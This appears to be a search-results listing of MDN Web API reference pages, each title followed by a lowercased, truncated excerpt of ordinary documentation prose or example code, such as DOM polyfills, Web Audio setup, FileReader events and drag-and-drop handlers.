argitem : document.createtextnode(string(argitem))); }); this.parentnode.insertbefore(docfrag, this.nextsibling); } }); }); })([element.prototype, characterdata.prototype, documenttype.prototype]); another polyfill // from: https://github.com/fabiovergani/js-polyfill_element.prototype.after/blob/master/after.js (function(x){ var o=x.prototype,p='after'; if(!o[p]){ o[p]=function(){ var e, m=arguments, l=m.length, i=0, t=this, p=t.parentnode, n=node, s=string, d=document; if(p!==null){ while(i<l){ e=m[i]; if(e i...
ChildNode.before() - Web APIs
WebAPIChildNodebefore
argitem : document.createtextnode(string(argitem))); }); this.parentnode.insertbefore(docfrag, this); } }); }); })([element.prototype, characterdata.prototype, documenttype.prototype]); specification specification status comment domthe definition of 'childnode.before()' in that specification.
ChildNode.remove() - Web APIs
WebAPIChildNoderemove
/master/dom/childnode/remove()/remove().md (function (arr) { arr.foreach(function (item) { if (item.hasownproperty('remove')) { return; } object.defineproperty(item, 'remove', { configurable: true, enumerable: true, writable: true, value: function remove() { this.parentnode.removechild(this); } }); }); })([element.prototype, characterdata.prototype, documenttype.prototype]); specifications specification status comment domthe definition of 'childnode.remove' in that specification.
ChildNode.replaceWith() - Web APIs
} // the value of "i" below is after the decrement if (!i) // if currentnode is the first argument (currentnode === arguments[0]) parent.replacechild(currentnode, this); else // if currentnode isn't the first parent.insertbefore(currentnode, this.nextsibling); } } if (!element.prototype.replacewith) element.prototype.replacewith = replacewithpolyfill; if (!characterdata.prototype.replacewith) characterdata.prototype.replacewith = replacewithpolyfill; if (!documenttype.prototype.replacewith) documenttype.prototype.replacewith = replacewithpolyfill; specification specification status comment domthe definition of 'childnode.replacewith()' in that specification.
Client.postMessage() - Web APIs
client.postmessage({ msg: "hey i just got a fetch from you!", url: event.request.url }); }()); }); receiving that message: navigator.serviceworker.addeventlistener('message', event => { console.log(event.data.msg, event.data.url); }); specifications specification status comment service workersthe definition of 'postmessage()' in that specification.
ClipboardEvent - Web APIs
clipboardevent.clipboarddata read only is a datatransfer object containing the data affected by the user-initiated cut, copy, or paste operation, along with its mime type.
CompositionEvent.CompositionEvent() - Web APIs
compositioneventinit optional a compositioneventinit dictionary object, which can contain the following members: data initializes the data attribute of the compositionevent object to the characters generated by the ime composition.
CompositionEvent - Web APIs
compositionevent.data read only returns the characters generated by the input method that raised the event; its varies depending on the type of event that generated the compositionevent object.
console.trace() - Web APIs
WebAPIConsoletrace
syntax console.trace( [...any, ...data ]); parameters ...any, ...data optional zero or more objects to be output to console along with the trace.
ConstantSourceNode - Web APIs
onended fired whenever the constantsourcenode data has stopped playing.
Constraint validation API - Web APIs
you should not rely on it to completely sanitize data received by the server.
ContentIndex - Web APIs
// our content const item = { id: 'post-1', url: '/posts/amet.html', title: 'amet consectetur adipisicing', description: 'repellat et quia iste possimus ducimus aliquid a aut eaque nostrum.', icons: [{ src: '/media/dark.png', sizes: '128x128', type: 'image/png', }], category: 'article' }; // our asynchronous function to add indexed content async function registercontent(data) { const registration = await navigator.serviceworker.ready; // feature detect content index if (!registration.index) { return; } // register content try { await registration.index.add(data); } catch (e) { console.log('failed to register content: ', e.message); } } retrieving items within the current index the below example shows an asynchronous function that retrieves ...
ConvolverNode.buffer - Web APIs
// grab audio track via xhr for convolver node var soundsource, concerthallbuffer; ajaxrequest = new xmlhttprequest(); ajaxrequest.open('get', 'concert-crowd.ogg', true); ajaxrequest.responsetype = 'arraybuffer'; ajaxrequest.onload = function() { var audiodata = ajaxrequest.response; audioctx.decodeaudiodata(audiodata, function(buffer) { concerthallbuffer = buffer; soundsource = audioctx.createbuffersource(); soundsource.buffer = concerthallbuffer; }, function(e){"error with decoding audio data" + e.err}); } ajaxrequest.send(); ...
ConvolverNode.normalize - Web APIs
// grab audio track via xhr for convolver node var soundsource, concerthallbuffer; ajaxrequest = new xmlhttprequest(); ajaxrequest.open('get', 'concert-crowd.ogg', true); ajaxrequest.responsetype = 'arraybuffer'; ajaxrequest.onload = function() { var audiodata = ajaxrequest.response; audioctx.decodeaudiodata(audiodata, function(buffer) { concerthallbuffer = buffer; soundsource = audioctx.createbuffersource(); soundsource.buffer = concerthallbuffer; }, function(e){"error with decoding audio data" + e.err}); } ajaxrequest.send(); ...
ConvolverNode - Web APIs
let audioctx = new window.audiocontext(); async function createreverb() { let convolver = audioctx.createconvolver(); // load impulse response from file let response = await fetch("path/to/impulse-response.wav"); let arraybuffer = await response.arraybuffer(); convolver.buffer = await audioctx.decodeaudiodata(arraybuffer); return convolver; } ...
Credential Management API - Web APIs
publickeycredential provides a credential for logging in using an un-phishable and data-breach resistant asymmetric key pair instead of a password.
Crypto.getRandomValues() - Web APIs
user agents are instead urged to provide the best entropy they can when generating random numbers, using a well-defined, efficient pseudorandom number generator built into the user agent itself, but seeded with values taken from an external source of pseudorandom numbers, such as a platform-specific random number function, the unix /dev/urandom device, or other source of random or pseudorandom data.
CustomEvent.initCustomEvent() - Web APIs
detail the data passed when initializing the event.
CustomEvent - Web APIs
properties customevent.detail read only any data passed when initializing the event.
DOMConfiguration - Web APIs
pre-defined parameters: "canonical-form", "cdata-sections", "check-character-normalization", "comments", "datatype-normalization", "element-content-whitespace", "entities", "error-handler", "infoset", "namespaces", "namespace-declarations", "normalize-characters","schema-location", "schema-type", "split-cdata-sections", "validate", "validate-if-schema", "well-formed" properties domconfiguration.parameternames read only is a domstringlist methods domconfiguration.cansetparameter() returns a boolean domconfiguration.getparameter() returns a domuserdata domconfiguration.setparameter() sets a parameter specification http://www.w3.org/tr/dom-level-3-cor...mconfiguration ...
DOMError - Web APIs
WebAPIDOMError
datacloneerror the object can not be cloned.
DOMObject - Web APIs
WebAPIDOMObject
the obsolete domobject interface was used in earlier versions of the dom specification as the base class for any object data type.
DOMStringMap - Web APIs
the domstringmap interface is used for the htmlelement.dataset attribute, to represent data for custom attributes added to elements.
DedicatedWorkerGlobalScope.onmessage - Web APIs
var myworker = new worker("worker.js"); first.onchange = function() { myworker.postmessage([first.value,second.value]); console.log('message posted to worker'); } myworker.onmessage = function(e) { result.textcontent = e.data; console.log('message received from worker'); } in the worker.js script, a dedicatedworkerglobalscope.onmessage handler is used to handle messages from the main script: onmessage = function(e) { console.log('message received from main script'); var workerresult = 'result: ' + (e.data[0] * e.data[1]); console.log('posting message back to main script'); postmessage(workerresult); } no...
DelayNode - Web APIs
WebAPIDelayNode
the delaynode interface represents a delay-line; an audionode audio-processing module that causes a delay between the arrival of an input data and its propagation to the output.
DeviceMotionEvent.DeviceMotionEvent() - Web APIs
interval: a number representing the interval of time, in milliseconds, at which data is obtained from the device.
DeviceMotionEvent.acceleration - Web APIs
note: if the hardware doesn't know how to remove gravity from the acceleration data, this value may not be present in the devicemotionevent.
DeviceMotionEvent.accelerationIncludingGravity - Web APIs
this value is not typically as useful as devicemotionevent.acceleration, but may be the only value available on devices that aren't able of removing gravity from the acceleration data, such as on devices that don't have a gyroscope.
DeviceMotionEvent.interval - Web APIs
returns the interval, in milliseconds, at which data is obtained from the underlaying hardware.
DeviceMotionEvent - Web APIs
devicemotionevent.intervalread only a number representing the interval of time, in milliseconds, at which data is obtained from the device.
DeviceOrientationEvent.DeviceOrientationEvent() - Web APIs
absolute: a boolean that indicates whether or not the device is providing orientation data absolutely.
DeviceOrientationEvent.alpha - Web APIs
see orientation and motion data explained for details.
DeviceOrientationEvent.beta - Web APIs
see orientation and motion data explained for details.
DeviceOrientationEvent.gamma - Web APIs
see orientation and motion data explained for details.
DeviceOrientationEvent - Web APIs
properties deviceorientationevent.absolute read only a boolean that indicates whether or not the device is providing orientation data absolutely.
DirectoryEntrySync - Web APIs
security_err the browser determined that it was not safe to look up the metadata.
DisplayMediaStreamConstraints.audio - Web APIs
more precise control over the audio data may be exercised by instead providing a mediatrackconstraints object, which is used to process the audio prior to adding it to the stream.
DisplayMediaStreamConstraints.video - Web APIs
more precise control over the format of the returned video track may be exercised by instead providing a mediatrackconstraints object, which is used to process the video data after obtaining it from the device but prior to adding it to the stream.
Document.createComment() - Web APIs
syntax commentnode = document.createcomment(data); parameters data a string containing the data to be added to the comment.
Document.createElementNS() - Web APIs
ough this is not an extremely useful xul document, it does demonstrate the use of elements from two different namespaces within a single document: <?xml version="1.0"?> <page xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:html="http://www.w3.org/1999/xhtml" title="||working with elements||" onload="init()"> <script type="application/javascript"><![cdata[ let container; let newdiv; let txtnode; function init(){ container = document.getelementbyid("containerbox"); newdiv = document.createelementns("http://www.w3.org/1999/xhtml", "div"); txtnode = document.createtextnode("this is text that was constructed dynamically with createelementns and createtextnode then inserted into the document using appendchild."); newdiv.appendchild(txt...
Document.createEntityReference() - Web APIs
the only workaround is to create a text node, cdata section, attribute node value, etc.
Document.createNodeIterator() - Web APIs
nodefilter.show_cdata_section 8 shows cdatasection nodes.
Document.createTreeWalker() - Web APIs
nodefilter.show_cdata_section 8 shows cdatasection nodes.
Document: drag event - Web APIs
html <div class="dropzone"> <div id="draggable" draggable="true" ondragstart="event.datatransfer.setdata('text/plain',null)"> this div is draggable </div> </div> <div class="dropzone"></div> <div class="dropzone"></div> <div class="dropzone"></div> css #draggable { width: 200px; height: 20px; text-align: center; background: white; } .dropzone { width: 200px; height: 20px; background: blueviolet; margin-bottom: 10px; padding: 10px; } javascript var dragg...
Document.open() - Web APIs
WebAPIDocumentopen
this call, for example opens github.com in a new window, with its opener set to null: document.open('https://www.github.com','', 'noopener=true') two-argument document.open() browsers used to support a two-argument document.open(), with the following signature: document.open(type, replace) where type specified the mime type of the data you are writing (e.g.
Document.origin - Web APIs
WebAPIDocumentorigin
syntax var origin = document.origin; examples var origin = document.origin; // on this page, returns:'https://developer.mozilla.org' var origin = document.origin; // on "about:blank", returns:'null' var origin = document.origin; // on "data:text/html,<b>foo</b>", returns:'null' ...
Document.querySelectorAll() - Web APIs
var container = document.queryselector("#test"); var matches = container.queryselectorall("div.highlighted > p"); this example uses an attribute selector to return a list of the <iframe> elements in the document that contain an attribute named data-src: var matches = document.queryselectorall("iframe[data-src]"); here, an attribute selector is used to return a list of the list items contained within a list whose id is userlist which have a data-active attribute whose value is 1: var container = document.queryselector("#userlist"); var matches = container.queryselectorall("li[data-active='1']"); accessing the matches once the nodelist o...
Examples of web and XML development using the DOM - Web APIs
but the stopevent method has stopped propagation, and so after the data in the table is updated, the event phase is effectively ended, and an alert box is displayed to confirm this.
How to create a DOM tree - Web APIs
you can use dom trees to model data which isn't well-suited for rdf (or perhaps you just don't like rdf).
DynamicsCompressorNode.attack - Web APIs
ompressor.knee.setvalueattime(40, audioctx.currenttime); compressor.ratio.setvalueattime(12, audioctx.currenttime); compressor.attack.setvalueattime(0, audioctx.currenttime); compressor.release.setvalueattime(0.25, audioctx.currenttime); // connect the audiobuffersourcenode to the destination source.connect(audioctx.destination); button.onclick = function() { var active = button.getattribute('data-active'); if(active == 'false') { button.setattribute('data-active', 'true'); button.innerhtml = 'remove compression'; source.disconnect(audioctx.destination); source.connect(compressor); compressor.connect(audioctx.destination); } else if(active == 'true') { button.setattribute('data-active', 'false'); button.innerhtml = 'add compression'; source.disconnect(...
DynamicsCompressorNode.knee - Web APIs
ompressor.knee.setvalueattime(40, audioctx.currenttime); compressor.ratio.setvalueattime(12, audioctx.currenttime); compressor.attack.setvalueattime(0, audioctx.currenttime); compressor.release.setvalueattime(0.25, audioctx.currenttime); // connect the audiobuffersourcenode to the destination source.connect(audioctx.destination); button.onclick = function() { var active = button.getattribute('data-active'); if(active == 'false') { button.setattribute('data-active', 'true'); button.innerhtml = 'remove compression'; source.disconnect(audioctx.destination); source.connect(compressor); compressor.connect(audioctx.destination); } else if(active == 'true') { button.setattribute('data-active', 'false'); button.innerhtml = 'add compression'; source.disconnect(...
DynamicsCompressorNode.ratio - Web APIs
ompressor.knee.setvalueattime(40, audioctx.currenttime); compressor.ratio.setvalueattime(12, audioctx.currenttime); compressor.attack.setvalueattime(0, audioctx.currenttime); compressor.release.setvalueattime(0.25, audioctx.currenttime); // connect the audiobuffersourcenode to the destination source.connect(audioctx.destination); button.onclick = function() { var active = button.getattribute('data-active'); if(active == 'false') { button.setattribute('data-active', 'true'); button.innerhtml = 'remove compression'; source.disconnect(audioctx.destination); source.connect(compressor); compressor.connect(audioctx.destination); } else if(active == 'true') { button.setattribute('data-active', 'false'); button.innerhtml = 'add compression'; source.disconnect(...
DynamicsCompressorNode.release - Web APIs
ompressor.knee.setvalueattime(40, audioctx.currenttime); compressor.ratio.setvalueattime(12, audioctx.currenttime); compressor.attack.setvalueattime(0, audioctx.currenttime); compressor.release.setvalueattime(0.25, audioctx.currenttime); // connect the audiobuffersourcenode to the destination source.connect(audioctx.destination); button.onclick = function() { var active = button.getattribute('data-active'); if(active == 'false') { button.setattribute('data-active', 'true'); button.innerhtml = 'remove compression'; source.disconnect(audioctx.destination); source.connect(compressor); compressor.connect(audioctx.destination); } else if(active == 'true') { button.setattribute('data-active', 'false'); button.innerhtml = 'add compression'; source.disconnect(...
DynamicsCompressorNode.threshold - Web APIs
ompressor.knee.setvalueattime(40, audioctx.currenttime); compressor.ratio.setvalueattime(12, audioctx.currenttime); compressor.attack.setvalueattime(0, audioctx.currenttime); compressor.release.setvalueattime(0.25, audioctx.currenttime); // connect the audiobuffersourcenode to the destination source.connect(audioctx.destination); button.onclick = function() { var active = button.getattribute('data-active'); if(active == 'false') { button.setattribute('data-active', 'true'); button.innerhtml = 'remove compression'; source.disconnect(audioctx.destination); source.connect(compressor); compressor.connect(audioctx.destination); } else if(active == 'true') { button.setattribute('data-active', 'false'); button.innerhtml = 'add compression'; source.disconnect(...
DynamicsCompressorNode - Web APIs
ompressor.knee.setvalueattime(40, audioctx.currenttime); compressor.ratio.setvalueattime(12, audioctx.currenttime); compressor.attack.setvalueattime(0, audioctx.currenttime); compressor.release.setvalueattime(0.25, audioctx.currenttime); // connect the audiobuffersourcenode to the destination source.connect(audioctx.destination); button.onclick = function() { var active = button.getattribute('data-active'); if(active == 'false') { button.setattribute('data-active', 'true'); button.innerhtml = 'remove compression'; source.disconnect(audioctx.destination); source.connect(compressor); compressor.connect(audioctx.destination); } else if(active == 'true') { button.setattribute('data-active', 'false'); button.innerhtml = 'add compression'; source.disconnect(...
Element: DOMActivate event - Web APIs
yes interface mouseevent examples <svg xmlns="http://www.w3.org/2000/svg" version="1.2" baseprofile="tiny" xmlns:ev="http://www.w3.org/2001/xml-events" width="6cm" height="5cm" viewbox="0 0 600 500"> <desc>example: invoke an ecmascript function from a domactivate event</desc> <!-- ecmascript to change the radius --> <script type="application/ecmascript"><![cdata[ function change(evt) { var circle = evt.target; var currentradius = circle.getfloattrait("r"); if (currentradius == 100) circle.setfloattrait("r", currentradius * 2); else circle.setfloattrait("r", currentradius * 0.5); } ]]></script> <!-- act on each domactivate event --> <circle cx="300" cy="225" r="100" fill="red"> <handler type="appl...
Element.clientLeft - Web APIs
excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.
Element.clientTop - Web APIs
WebAPIElementclientTop
excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.
Element.getElementsByTagName() - Web APIs
example // check the status of each data cell in a table const table = document.getelementbyid('forecast-table'); const cells = table.getelementsbytagname('td'); for (let cell of cells) { let status = cell.getattribute('data-status'); if (status === 'open') { // grab the data } } specifications specification status comment domthe definition of 'element.getelementsbytagname()' in that specification.
Element.getElementsByTagNameNS() - Web APIs
var table = document.getelementbyid("forecast-table"); var cells = table.getelementsbytagnamens("http://www.w3.org/1999/xhtml", "td"); for (var i = 0; i < cells.length; i++) { var axis = cells[i].getattribute("axis"); if (axis == "year") { // grab the data } } specifications specification status comment domthe definition of 'element.getelementsbytagnamens()' in that specification.
Element.localName - Web APIs
WebAPIElementlocalName
example (must be served with xml content type, such as text/xml or application/xhtml+xml.) <html xmlns="http://www.w3.org/1999/xhtml" xmlns:svg="http://www.w3.org/2000/svg"> <head> <script type="application/javascript"><![cdata[ function test() { var text = document.getelementbyid('text'); var circle = document.getelementbyid('circle'); text.value = "<svg:circle> has:\n" + "localname = '" + circle.localname + "'\n" + "namespaceuri = '" + circle.namespaceuri + "'"; } ]]></script> </head> <body onload="test()"> <svg:svg version="1.1" width="100px" height="100px" ...
Element.scrollHeight - Web APIs
excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.
Element.scrollTop - Web APIs
WebAPIElementscrollTop
excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.
Event - Web APIs
WebAPIEvent
event domtransactionevent dragevent editingbeforeinputevent errorevent fetchevent focusevent gamepadevent hashchangeevent idbversionchangeevent inputevent keyboardevent mediastreamevent messageevent mouseevent mutationevent offlineaudiocompletionevent overconstrainederror pagetransitionevent paymentrequestupdateevent pointerevent popstateevent progressevent relatedevent rtcdatachannelevent rtcidentityerrorevent rtcidentityevent rtcpeerconnectioniceevent sensorevent storageevent svgevent svgzoomevent timeevent touchevent trackevent transitionevent uievent userproximityevent webglcontextevent wheelevent constructor event() creates an event object, returning it to the caller.
EventSource() - Web APIs
examples var evtsource = new eventsource('sse.php'); var eventlist = document.queryselector('ul'); evtsource.onmessage = function(e) { var newelement = document.createelement("li"); newelement.textcontent = "message: " + e.data; eventlist.appendchild(newelement); } note: you can find a full example on github — see simple sse demo using php.
EventSource.onmessage - Web APIs
syntax eventsource.onmessage = function examples evtsource.onmessage = function(e) { var newelement = document.createelement("li"); newelement.textcontent = "message: " + e.data; eventlist.appendchild(newelement); } note: you can find a full example on github — see simple sse demo using php.
ExtendableEvent.waitUntil() - Web APIs
this gives the service worker time to update database schemas and delete outdated caches, so other events can rely on a completely upgraded state.
ExtendableEvent - Web APIs
this ensures that any functional events (like fetchevent) are not dispatched until it upgrades database schemas and deletes the outdated cache entries.
FileError - Web APIs
WebAPIFileError
quota_exceeded_err 10 either there's not enough remaining storage space or the storage quota was reached and the user declined to give more space to the database.
FileReader: abort event - Web APIs
event); reader.addeventlistener('loadend', handleevent); reader.addeventlistener('progress', handleevent); reader.addeventlistener('error', handleevent); reader.addeventlistener('abort', handleevent); } function handleselected(e) { eventlog.textcontent = ''; const selectedfile = fileinput.files[0]; if (selectedfile) { addlisteners(reader); reader.readasdataurl(selectedfile); } reader.abort(); } fileinput.addeventlistener('change', handleselected); result specifications specification status file api working draft ...
FileReader: error event - Web APIs
function handleselected(e) { const selectedfile = fileinput.files[0]; if (selectedfile) { reader.addeventlistener('error', () => { console.error(`error occurred reading file: ${selectedfile.name}`); }); reader.addeventlistener('load', () => { console.error(`file: ${selectedfile.name} read successfully`); }); reader.readasdataurl(selectedfile); } } fileinput.addeventlistener('change', handleselected); specifications specification status file api working draft ...
FileReader: load event - Web APIs
event); reader.addeventlistener('loadend', handleevent); reader.addeventlistener('progress', handleevent); reader.addeventlistener('error', handleevent); reader.addeventlistener('abort', handleevent); } function handleselected(e) { eventlog.textcontent = ''; const selectedfile = fileinput.files[0]; if (selectedfile) { addlisteners(reader); reader.readasdataurl(selectedfile); } } fileinput.addeventlistener('change', handleselected); result specifications specification status file api working draft ...
FileReader: loadend event - Web APIs
event); reader.addeventlistener('loadend', handleevent); reader.addeventlistener('progress', handleevent); reader.addeventlistener('error', handleevent); reader.addeventlistener('abort', handleevent); } function handleselected(e) { eventlog.textcontent = ''; const selectedfile = fileinput.files[0]; if (selectedfile) { addlisteners(reader); reader.readasdataurl(selectedfile); } } fileinput.addeventlistener('change', handleselected); result specifications specification status file api working draft ...
FileReader: loadstart event - Web APIs
event); reader.addeventlistener('loadend', handleevent); reader.addeventlistener('progress', handleevent); reader.addeventlistener('error', handleevent); reader.addeventlistener('abort', handleevent); } function handleselected(e) { eventlog.textcontent = ''; const selectedfile = fileinput.files[0]; if (selectedfile) { addlisteners(reader); reader.readasdataurl(selectedfile); } } fileinput.addeventlistener('change', handleselected); result specifications specification status file api working draft ...
FileReader.onload - Web APIs
WebAPIFileReaderonload
the filereader.onload property contains an event handler executed when the load event is fired, when content read with readasarraybuffer, readasbinarystring, readasdataurl or readastext is available.
FileReader.readAsArrayBuffer() - Web APIs
at that time, the result attribute contains an arraybuffer representing the file's data.
FileReader.readAsBinaryString() - Web APIs
at that time, the result attribute contains the raw binary data from the file.
FileReader.readAsText() - Web APIs
encoding optional a string specifying the encoding to use for the returned data.
File and Directory Entries API support in Firefox - Web APIs
using drag and drop by calling the datatransferitem.getasentry() method, which lets you get a filesystemfileentry or filesystemdirectoryentry for files dropped on a drop zone.
FontFace.FontFace() - Web APIs
WebAPIFontFaceFontFace
this can be either: a url binary font data descriptors optional a set of optional descriptors passed as an object.
GainNode - Web APIs
WebAPIGainNode
it is an audionode audio-processing module that causes a given gain to be applied to the input data before its propagation to the output.
Gamepad - Web APIs
WebAPIGamepad
gamepad.timestamp read only a domhighrestimestamp representing the last time the data for this gamepad was updated.
GamepadEvent.gamepad - Web APIs
the gamepadevent.gamepad property of the gamepadevent interface returns a gamepad object, providing access to the associated gamepad data for fired gamepadconnected and gamepaddisconnected events.
GamepadEvent - Web APIs
properties gamepadevent.gamepad read only returns a gamepad object, providing access to the associated gamepad data for the event fired.
Geolocation - Web APIs
geolocation.getcurrentposition() secure context determines the device's current location and gives back a geolocationposition object with the data.
GeolocationCoordinates.altitude - Web APIs
this value is null if the implementation cannot provide this data.
GeolocationCoordinates - Web APIs
this value can be null if the implementation cannot provide the data.
GlobalEventHandlers.oncanplay - Web APIs
the canplay event is fired when the user agent can play the media, but estimates that not enough data has been loaded to play the media up to its end without having to stop for further buffering of content.
GlobalEventHandlers.oncanplaythrough - Web APIs
the canplaythrough event is fired when the user agent can play the media and estimates that enough data has been loaded to play the media up to its end without having to stop for further buffering of content.
GlobalEventHandlers.ondrag - Web APIs
xamples of using the ondrag global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function dragstart_handler(ev) { console.log("dragstart"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) { console.log("drop"); ev.currenttarget.style.background = "lightyellow"; ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } </script> <body> <h1>examples of <code>ondrag</...
GlobalEventHandlers.ondragover - Web APIs
xamples of using the ondrag global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function dragstart_handler(ev) { console.log("dragstart"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) { console.log("drop"); ev.currenttarget.style.background = "lightyellow"; ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } </script> <body> <h1>examples of <code>ondrag</...
GlobalEventHandlers.ondragstart - Web APIs
xamples of using the ondrag global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function dragstart_handler(ev) { console.log("dragstart"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) { console.log("drop"); ev.currenttarget.style.background = "lightyellow"; ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } </script> <body> <h1>examples of <code>ondrag</...
GlobalEventHandlers.ondrop - Web APIs
xamples of using the ondrag global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function dragstart_handler(ev) { console.log("dragstart"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) { console.log("drop"); ev.currenttarget.style.background = "lightyellow"; ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } </script> <body> <h1>examples of <code>ondrag</...
GlobalEventHandlers.oninvalid - Web APIs
html <form id="form"> <p id="error" hidden>please fill out all fields.</p> <label for="city">city</label> <input type="text" id="city" required> <button type="submit">submit</button> </form> <p id="thanks" hidden>your data has been received.
GlobalEventHandlers.onplaying - Web APIs
the playing event is fired when playback is ready to start after having been paused or delayed due to lack of media data.
GlobalEventHandlers.onsubmit - Web APIs
html <form id="form"> <p id="error" hidden>please fill out all fields.</p> <label for="city">city</label> <input type="text" id="city" required> <button type="submit">submit</button> </form> <p id="thanks" hidden>your data has been received.
msAudioCategory - Web APIs
value include a description of the property's value, including data type and what it represents.
msAudioDeviceType - Web APIs
value include a description of the property's value, including data type and what it represents.
HTMLAudioElement - Web APIs
this snippet copies the audio file's duration to a variable: var audioelement = new audio('car_horn.wav'); audioelement.addeventlistener('loadeddata', () => { let duration = audioelement.duration; // the duration variable now holds the duration (in seconds) of the audio clip }) events inherits methods from its parent, htmlmediaelement, and from its ancestor htmlelement.
HTMLButtonElement - Web APIs
it is false if any conditions bar it from constraint validation, including: its type property is reset or button; it has a <datalist> ancestor; or the disabled property is set to true.
HTMLCanvasElement.getContext() - Web APIs
this will force the use of a software (instead of hardware accelerated) 2d canvas and can save memory when calling getimagedata() frequently.
HTMLCanvasElement.mozFetchAsStream() - Web APIs
the htmlcanvaselement.mozfetchasstream() internal method used to create a new input stream that, when ready, would provide the contents of the canvas as image data.
HTMLCanvasElement - Web APIs
htmlcanvaselement.todataurl() returns a data-url containing a representation of the image in the format specified by the type parameter (defaults to png).
HTMLFieldSetElement - Web APIs
it is not part of the data which is sent to the server.
HTMLFormElement.enctype - Web APIs
multipart/form-data: the type that allows file <input> element(s) to upload file data.
HTMLImageElement.decode() - Web APIs
return value a promise which is resolved once the image data is ready to be used.
HTMLImageElement - Web APIs
the specified image's metadata is corrupted in such a way that it's impossible to retrieve its dimensions, and no dimensions were specified in the <img> element's attributes.
HTMLInputElement - Web APIs
it is false if any conditions bar it from constraint validation, including: its type is hidden, reset, or button; it has a <datalist> ancestor; its disabled property is true.
HTMLKeygenElement - Web APIs
name is a domstring that reflects the name html attribute, containing the name for the control that is submitted with form data.
HTMLMediaElement: canplay event - Web APIs
the canplay event is fired when the user agent can play the media, but estimates that not enough data has been loaded to play the media up to its end without having to stop for further buffering of content.
HTMLMediaElement: canplaythrough event - Web APIs
the canplaythrough event is fired when the user agent can play the media, and estimates that enough data has been loaded to play the media up to its end without having to stop for further buffering of content.
HTMLMediaElement.captureStream() - Web APIs
return value a mediastream object which can be used as a source for audio and/or video data by other media processing code, or as a source for webrtc.
HTMLMediaElement.duration - Web APIs
if no media data is available, the value nan is returned.
HTMLMediaElement.load() - Web APIs
the amount of media data that is prefetched is determined by the value of the element's preload attribute.
HTMLMediaElement: playing event - Web APIs
the playing event is fired when playback is ready to start after having been paused or delayed due to lack of data.
HTMLMedia​Element​.textTracks - Web APIs
c="sampledescriptions.vtt" srclang="en"> <track kind="chapters" src="samplechapters.vtt" srclang="en"> <track kind="subtitles" src="samplesubtitles_de.vtt" srclang="de"> <track kind="subtitles" src="samplesubtitles_en.vtt" srclang="en"> <track kind="subtitles" src="samplesubtitles_ja.vtt" srclang="ja"> <track kind="subtitles" src="samplesubtitles_oz.vtt" srclang="oz"> <track kind="metadata" src="keystage1.vtt" srclang="en" label="key stage 1"> <track kind="metadata" src="keystage2.vtt" srclang="en" label="key stage 2"> <track kind="metadata" src="keystage3.vtt" srclang="en" label="key stage 3"> </video> the htmlmediaelement.texttracks returns a texttrackslist thru which we can iterate.
HTMLObjectElement.typeMustMatch - Web APIs
syntax var mustmatch = obj.typemustmatch; obj.typemustmatch = mustmatch; example html <object id="obj" data="move.swf" type="application/x-shockwave-flash" typemustmatch></object> javascript let obj = document.getelementbyid('obj'); console.log(obj.typemustmatch); specifications specification status comment html5the definition of 'htmlobjectelement' in that specification.
HTMLOptionElement - Web APIs
if the option is not part of a list of options, like when it is part of the <datalist> element, the value is 0.
HTMLOrForeignElement - Web APIs
propertiesdataset read only the dataset read-only property of the htmlorforeignelement interface provides read/write access to all the custom data attributes (data-*) set on the element.nonce the nonce property of the htmlorforeignelement interface returns the cryptographic number used once that is used by content security policy to determine whether a given fetch will be allowed to proceed.tabindexthe tabindex property of the htmlorforeignele...
HTMLOutputElement - Web APIs
htmloutputelement.name a domstring reflecting the name html attribute, containing the name for the control that is submitted with form data.
HTMLParamElement - Web APIs
it reflects the valuetype attribute and has one of the values: "data", "ref", or "object".
HTMLSelectElement.selectedIndex - Web APIs
ion selected>option a</option> <option>option b</option> <option>option c</option> <option>option d</option> <option>option e</option> </select> javascript var selectelem = document.getelementbyid('select') var pelem = document.getelementbyid('p') // when a new <option> is selected selectelem.addeventlistener('change', function() { var index = selectelem.selectedindex; // add that data to the <p> pelem.innerhtml = 'selectedindex: ' + index; }) specifications specification status comment html living standardthe definition of 'htmlselectelement' in that specification.
HTMLVideoElement.getVideoPlaybackQuality() - Web APIs
the data returned can be used to evaluate the quality of the video stream.
HTMLVideoElement.msIsStereo3D - Web APIs
this uses metadata set in mp4 or mpeg-2 file containers and h.264 supplemental enhancement information (sei) messages to determine the stereo capability of the source.
HTMLVideoElement - Web APIs
htmlvideoelement.poster is a domstring that reflects the poster html attribute, which specifies an image to show while no video data is available.
Headers() - Web APIs
WebAPIHeadersHeaders
in the last case, the new headers object inherits its data from the existing headers object.
Ajax navigation example - Web APIs
